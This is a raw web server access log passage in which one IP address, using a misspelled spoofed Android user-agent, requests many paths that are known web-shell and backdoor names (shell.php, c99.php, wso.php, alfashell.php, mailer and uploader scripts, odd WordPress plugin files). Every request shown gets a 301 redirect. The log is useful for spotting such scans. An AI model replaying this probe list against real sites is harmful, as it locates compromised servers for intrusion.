Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:24 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:26 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:29 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:33 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:35 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:39 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:42 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:45 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:47 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:49 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:53 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:56 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:58 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:02 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:06 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:11 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:16 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:22 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:26 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:29 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:31 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:33 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:36 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:38 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:40 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:43 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:46 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:49 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:52 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:53 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:55 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:39:57 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:00 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:03 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:08 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:13 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:16 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:21 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:24 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:27 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:30 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:34 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:36 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:39 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:42 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:46 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:49 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:52 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:54 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:40:57 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:00 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:03 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:04 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:07 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:10 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:14 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:17 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:19 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:22 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:24 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:27 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:29 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:31 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:34 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:36 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:39 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:41 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:43 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:45 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:48 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:50 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:52 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:55 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:41:58 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:00 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:03 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:06 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:09 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:11 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:13 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:15 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:19 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:22 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:25 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:27 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:31 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:34 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:36 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:41 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:44 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:46 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:48 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:42:50 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; 